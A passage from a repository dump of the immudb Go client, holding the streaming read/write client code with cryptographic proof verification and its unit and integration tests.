    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuClient_Errors(t *testing.T) {\n\tclient := NewClient()\n\tctx := context.Background()\n\n\t_, err := client.StreamVerifiedSet(ctx, nil)\n\trequire.ErrorContains(t, err, \"no key-values specified\")\n\n\t// test ErrNotConnected errors\n\tfs := []func() (string, error){\n\t\tfunc() (string, error) { _, err := client.streamSet(ctx); return \"streamSet\", err },\n\t\tfunc() (string, error) { _, err := client.streamGet(ctx, nil); return \"streamGet\", err },\n\t\tfunc() (string, error) { _, err := client.streamVerifiableSet(ctx); return \"streamVerifiableSet\", err },\n\t\tfunc() (string, error) {\n\t\t\t_, err := client.streamVerifiableGet(ctx, nil)\n\t\t\treturn \"streamVerifiableGet\", err\n\t\t},\n\t\tfunc() (string, error) { _, err := client.streamScan(ctx, nil); return \"streamScan\", err },\n\t\tfunc() (string, error) { _, err := client.streamZScan(ctx, nil); return \"streamZScan\", err },\n\t\tfunc() (string, error) { _, err := client.streamExecAll(ctx); return \"streamExecAll\", err },\n\t\tfunc() (string, error) { _, err := client.streamHistory(ctx, nil); return \"streamHistory\", err },\n\t\tfunc() (string, error) { _, err := client.StreamSet(ctx, nil); return \"StreamSet\", err },\n\t\tfunc() (string, error) { _, err := client.StreamGet(ctx, nil); return \"StreamGet\", err },\n\t\tfunc() (string, error) {\n\t\t\t_, err := client.StreamVerifiedSet(ctx, []*stream.KeyValue{{}})\n\t\t\treturn \"StreamVerifiedSet\", err\n\t\t},\n\t\tfunc() (string, error) { _, err := client.StreamVerifiedGet(ctx, nil); return \"StreamVerifiedGet\", err },\n\t\tfunc() (string, error) { _, err := client.StreamScan(ctx, nil); return \"StreamScan\", err },\n\t\tfunc() (string, error) { _, err := client.StreamZScan(ctx, nil); return \"StreamZScan\", err },\n\t\tfunc() (string, error) { _, err := client.StreamHistory(ctx, nil); return \"StreamHistory\", err },\n\t\tfunc() (string, error) { _, err := client.StreamExecAll(ctx, nil); return \"StreamExecAll\", err },\n\t}\n\tfor _, f := range fs {\n\t\tfn, err := f()\n\t\trequire.ErrorIs(t, err, ErrNotConnected, fn)\n\t}\n}\n"
  },
  {
    "path": "pkg/client/streams.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"io\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\n// StreamSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams.\nfunc (c *immuClient) StreamSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) {\n\ttxhdr, err := c._streamSet(ctx, kvs)\n\treturn txhdr, errors.FromError(err)\n}\n\n// StreamGet retrieves a single entry for a key read from an io.Reader stream.\nfunc (c *immuClient) StreamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error) {\n\tentry, err := c._streamGet(ctx, k)\n\treturn entry, errors.FromError(err)\n}\n\n// StreamVerifiedSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams\n// with additional verification of server-provided write proof.\nfunc (c *immuClient) StreamVerifiedSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) {\n\ttxhdr, err := c._streamVerifiedSet(ctx, kvs)\n\treturn txhdr, errors.FromError(err)\n}\n\n// StreamVerifiedGet retrieves a single entry for a key read from an io.Reader stream\n// with additional verification of server-provided value proof.\nfunc (c *immuClient) StreamVerifiedGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.Entry, error) {\n\tentry, err := c._streamVerifiedGet(ctx, req)\n\treturn entry, errors.FromError(err)\n}\n\n// StreamScan scans for keys with given prefix, using stream API to overcome limits of large keys and values.\nfunc (c *immuClient) StreamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\tentries, err := c._streamScan(ctx, req)\n\treturn entries, errors.FromError(err)\n}\n\n// StreamZScan scans entries from given sorted set, using stream API to overcome limits of large keys and values.\nfunc (c *immuClient) StreamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\tentries, err := c._streamZScan(ctx, req)\n\treturn entries, errors.FromError(err)\n}\n\n// StreamHistory returns a history of given key, using stream API to overcome limits of large keys and values.\nfunc (c *immuClient) StreamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\tentries, err := c._streamHistory(ctx, req)\n\treturn entries, errors.FromError(err)\n}\n\n// StreamExecAll performs an ExecAll operation (write operation for multiple data types in a single transaction)\n// using stream API to overcome limits of large keys and values.\nfunc (c *immuClient) StreamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error) {\n\ttxhdr, err := c._streamExecAll(ctx, req)\n\treturn txhdr, errors.FromError(err)\n}\n\nfunc (c *immuClient) _streamSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) {\n\ts, err := c.streamSet(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkvss := c.StreamServiceFactory.NewKvStreamSender(c.StreamServiceFactory.NewMsgSender(s))\n\n\tfor _, kv := range kvs {\n\t\terr = kvss.Send(kv)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn s.CloseAndRecv()\n}\n\nfunc (c *immuClient) _streamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error) {\n\tgs, err := c.streamGet(ctx, k)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs))\n\n\tkey, vr, err := kvr.Next()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalue, err := stream.ReadValue(vr, c.Options.StreamChunkSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.Entry{\n\t\tKey:   key,\n\t\tValue: value,\n\t}, nil\n}\n\nfunc (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) {\n\tif len(kvs) == 0 {\n\t\treturn nil, errors.New(\"no key-values specified\")\n\t}\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"_streamVerifiedSet\", start)\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tstateTxID, err := stream.NumberToBytes(state.TxId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//--> collect the keys and values as they need to be used for verifications\n\tstdKVs := make([]*schema.KeyValue, 0, len(kvs))\n\tfor i, kv := range kvs {\n\t\tvar keyBuffer bytes.Buffer\n\t\tkeyTeeReader := io.TeeReader(kv.Key.Content, &keyBuffer)\n\t\tkey := make([]byte, kv.Key.Size)\n\t\tif _, err := keyTeeReader.Read(key); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// put a new Reader back\n\t\tkvs[i].Key.Content = bufio.NewReader(&keyBuffer)\n\n\t\tvar valueBuffer bytes.Buffer\n\t\tvalueTeeReader := io.TeeReader(kv.Value.Content, &valueBuffer)\n\t\tvalue := make([]byte, kv.Value.Size)\n\t\tif _, err = valueTeeReader.Read(value); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// put a new Reader back\n\t\tkvs[i].Value.Content = bufio.NewReader(&valueBuffer)\n\n\t\tstdKVs = append(stdKVs, &schema.KeyValue{Key: key, Value: value})\n\t}\n\t//<--\n\n\ts, err := c.streamVerifiableSet(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tss := c.StreamServiceFactory.NewMsgSender(s)\n\tkvss := c.StreamServiceFactory.NewKvStreamSender(ss)\n\n\terr = ss.Send(bytes.NewBuffer(stateTxID), len(stateTxID), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, kv := range kvs {\n\t\terr = kvss.Send(kv)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tverifiableTx, err := s.CloseAndRecv()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif verifiableTx.Tx.Header.Nentries != int32(len(kvs)) || len(verifiableTx.Tx.Entries) != len(kvs) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\ttx := schema.TxFromProto(verifiableTx.Tx)\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar verifies bool\n\n\tfor i, kv := range stdKVs {\n\t\tinclusionProof, err := tx.Proof(database.EncodeKey(kv.Key))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmd := tx.Entries()[i].Metadata()\n\t\te := database.EncodeEntrySpec(kv.Key, md, kv.Value)\n\n\t\tverifies = store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh)\n\t\tif !verifies {\n\t\t\treturn nil, store.ErrCorruptedData\n\t\t}\n\t}\n\n\tif tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tsourceID = state.TxId\n\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\ttargetID = tx.Header().ID\n\ttargetAlh = tx.Header().Alh()\n\n\tif state.TxId > 0 {\n\t\tdualProof := schema.DualProofFromProto(verifiableTx.DualProof)\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: verifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn verifiableTx.Tx.Header, nil\n}\n\nfunc (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.Entry, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgs, err := c.streamVerifiableGet(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tver := c.StreamServiceFactory.NewVEntryStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs))\n\n\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := ver.Next()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvEntry, err := stream.ParseVerifiableEntry(\n\t\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, c.Options.StreamChunkSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof)\n\tdualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof)\n\n\tvar eh [sha256.Size]byte\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tvar vTx uint64\n\tvar e *store.EntrySpec\n\n\tif vEntry.Entry.ReferencedBy == nil {\n\t\tvTx = vEntry.Entry.Tx\n\t\te = database.EncodeEntrySpec(req.KeyRequest.Key, schema.KVMetadataFromProto(vEntry.Entry.Metadata), vEntry.Entry.Value)\n\t} else {\n\t\tref := vEntry.Entry.ReferencedBy\n\t\tvTx = ref.Tx\n\t\te = database.EncodeReference(ref.Key, schema.KVMetadataFromProto(ref.Metadata), vEntry.Entry.Key, ref.AtTx)\n\t}\n\n\tif state.TxId <= vTx {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH)\n\t\tsourceID = state.TxId\n\t\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\t\ttargetID = vTx\n\t\ttargetAlh = dualProof.TargetTxHeader.Alh()\n\t} else {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH)\n\t\tsourceID = vTx\n\t\tsourceAlh = dualProof.SourceTxHeader.Alh()\n\t\ttargetID = state.TxId\n\t\ttargetAlh = schema.DigestFromProto(state.TxHash)\n\t}\n\n\tverifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), eh)\n\tif !verifies {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tif state.TxId > 0 {\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: vEntry.VerifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn vEntry.Entry, nil\n}\n\nfunc (c *immuClient) _streamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tgs, err := c.streamScan(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs))\n\tvar entries []*schema.Entry\n\tfor {\n\t\tkey, vr, err := kvr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t\tvalue, err := stream.ReadValue(vr, c.Options.StreamChunkSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tentry := &schema.Entry{\n\t\t\tKey:   key,\n\t\t\tValue: value,\n\t\t}\n\n\t\tentries = append(entries, entry)\n\t}\n\treturn &schema.Entries{Entries: entries}, nil\n}\n\nfunc (c *immuClient) _streamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\tgs, err := c.streamZScan(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tzr := c.StreamServiceFactory.NewZStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs))\n\tvar entries []*schema.ZEntry\n\tfor {\n\t\tset, key, score, atTx, vr, err := zr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t\tentry, err := stream.ParseZEntry(set, key, score, atTx, vr, c.Options.StreamChunkSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tentries = append(entries, entry)\n\t}\n\treturn &schema.ZEntries{Entries: entries}, nil\n}\n\nfunc (c *immuClient) _streamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\tgs, err := c.streamHistory(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs))\n\tvar entries []*schema.Entry\n\tfor {\n\t\tkey, vr, err := kvr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t\tvalue, err := stream.ReadValue(vr, c.Options.StreamChunkSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tentry := &schema.Entry{\n\t\t\tKey:   key,\n\t\t\tValue: value,\n\t\t}\n\t\tentries = append(entries, entry)\n\t}\n\treturn &schema.Entries{Entries: entries}, nil\n}\n\nfunc (c *immuClient) _streamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error) {\n\ts, err := c.streamExecAll(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\teas := c.StreamServiceFactory.NewExecAllStreamSender(c.StreamServiceFactory.NewMsgSender(s))\n\n\terr = eas.Send(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s.CloseAndRecv()\n}\n\nfunc (c *immuClient) streamSet(ctx context.Context) (schema.ImmuService_StreamSetClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamSet(ctx)\n}\n\nfunc (c *immuClient) streamGet(ctx context.Context, in *schema.KeyRequest) (schema.ImmuService_StreamGetClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamGet(ctx, in)\n}\n\nfunc (c *immuClient) streamVerifiableSet(ctx context.Context) (schema.ImmuService_StreamVerifiableSetClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamVerifiableSet(ctx)\n}\n\nfunc (c *immuClient) streamVerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest) (schema.ImmuService_StreamVerifiableGetClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamVerifiableGet(ctx, in)\n}\n\nfunc (c *immuClient) streamScan(ctx context.Context, in *schema.ScanRequest) (schema.ImmuService_StreamScanClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamScan(ctx, in)\n}\n\nfunc (c *immuClient) streamZScan(ctx context.Context, in *schema.ZScanRequest) (schema.ImmuService_StreamZScanClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamZScan(ctx, in)\n}\n\nfunc (c *immuClient) streamHistory(ctx context.Context, in *schema.HistoryRequest) (schema.ImmuService_StreamHistoryClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamHistory(ctx, in)\n}\n\nfunc (c *immuClient) streamExecAll(ctx context.Context) (schema.ImmuService_StreamExecAllClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.StreamExecAll(ctx)\n}\n"
  },
  {
    "path": "pkg/client/streams_integration_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/codenotary/immudb/pkg/streamutils\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc externalImmudbClient(t *testing.T) (*immuClient, context.Context) {\n\textImmudb := os.Getenv(\"TEST_EXTERNAL_IMMUDB\")\n\tif extImmudb == \"\" {\n\t\tt.Skip(\"Please launch an immudb server and set TEST_EXTERNAL_IMMUDB to its <host:port> value\")\n\t}\n\n\ts := strings.SplitN(extImmudb, \":\", 2)\n\thost := s[0]\n\tport := DefaultOptions().Port\n\tif len(s) > 1 {\n\t\tp, err := strconv.Atoi(s[1])\n\t\trequire.NoError(t, err)\n\t\tport = p\n\t}\n\n\tcli, err := NewImmuClient(DefaultOptions().WithAddress(host).WithPort(port))\n\trequire.NoError(t, err)\n\n\tlr, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`immudb`))\n\trequire.NoError(t, err)\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx := metadata.NewOutgoingContext(context.Background(), md)\n\n\tur, err := cli.UseDatabase(ctx, &schema.Database{DatabaseName: \"defaultdb\"})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", ur.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\treturn cli, ctx\n}\n\nfunc TestImmuServer_SimpleSetGetStream(t *testing.T) {\n\tcli, ctx := externalImmudbClient(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", (32<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\tmetaTx, err := cli.StreamSet(ctx, kvs)\n\trequire.NoError(t, err)\n\t_, err = cli.StreamGet(ctx, &schema.KeyRequest{Key: []byte(tmpFile.Name()), SinceTx: metaTx.Id})\n\trequire.NoError(t, err)\n}\n\nfunc TestImmuServer_SimpleSetGetManagedStream(t *testing.T) {\n\tcli, ctx := externalImmudbClient(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", (32<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\ts, err := cli.streamSet(ctx)\n\trequire.NoError(t, err)\n\n\tkvss := stream.NewKvStreamSender(stream.NewMsgSender(s, make([]byte, cli.Options.StreamChunkSize)))\n\n\terr = kvss.Send(kvs[0])\n\trequire.NoError(t, err)\n\n\ttxhdr, err := s.CloseAndRecv()\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.TxHeader{}, txhdr)\n}\n\nfunc TestImmuServer_MultiSetGetManagedStream(t *testing.T) {\n\tcli, ctx := externalImmudbClient(t)\n\n\ts1, err := cli.streamSet(ctx)\n\trequire.NoError(t, err)\n\n\tkvs := stream.NewKvStreamSender(stream.NewMsgSender(s1, make([]byte, cli.Options.StreamChunkSize)))\n\n\tkey := []byte(\"key1\")\n\tval := []byte(\"val1\")\n\n\tkv := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key)),\n\t\t\tSize:    len(key),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val)),\n\t\t\tSize:    len(val),\n\t\t},\n\t}\n\n\terr = kvs.Send(kv)\n\trequire.NoError(t, err)\n\n\ttxhdr, err := s1.CloseAndRecv()\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.TxHeader{}, txhdr)\n\n\ts2, err := cli.streamSet(ctx)\n\trequire.NoError(t, err)\n\n\tkvs2 := stream.NewKvStreamSender(stream.NewMsgSender(s2, make([]byte, cli.Options.StreamChunkSize)))\n\n\tkey2 := []byte(\"key2\")\n\tval2 := []byte(\"val2\")\n\n\tkv2 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key2)),\n\t\t\tSize:    len(key2),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val2)),\n\t\t\tSize:    len(val2),\n\t\t},\n\t}\n\n\terr = kvs2.Send(kv2)\n\trequire.NoError(t, err)\n\n\ttxhdr, err = s2.CloseAndRecv()\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.TxHeader{}, txhdr)\n\n\ts3, err := cli.streamSet(ctx)\n\trequire.NoError(t, err)\n\n\tkvs3 := stream.NewKvStreamSender(stream.NewMsgSender(s3, make([]byte, cli.Options.StreamChunkSize)))\n\n\tkey3 := []byte(\"key3\")\n\tval3 := []byte(\"val3\")\n\n\tkv3 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key3)),\n\t\t\tSize:    len(key3),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val3)),\n\t\t\tSize:    len(val3),\n\t\t},\n\t}\n\n\terr = kvs3.Send(kv3)\n\trequire.NoError(t, err)\n\n\terr = s3.CloseSend()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/client/streams_verified_integration_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/codenotary/immudb/pkg/streamutils\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuServer_StreamVerifiedSetAndGet(t *testing.T) {\n\tcliIF, ctx := externalImmudbClient(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", (8<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\ttxhdr, err := cliIF.StreamVerifiedSet(ctx, kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txhdr)\n\n\tentry, err := cliIF.StreamVerifiedGet(ctx, &schema.VerifiableGetRequest{\n\t\tKeyRequest: &schema.KeyRequest{Key: []byte(tmpFile.Name())},\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, (8<<20)-1, len(entry.Value))\n}\n"
  },
  {
    "path": "pkg/client/streams_zscan_and_history_integration_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc inputTestFileToStreamKV(\n\tt *testing.T,\n\tfileName string,\n) (*os.File, 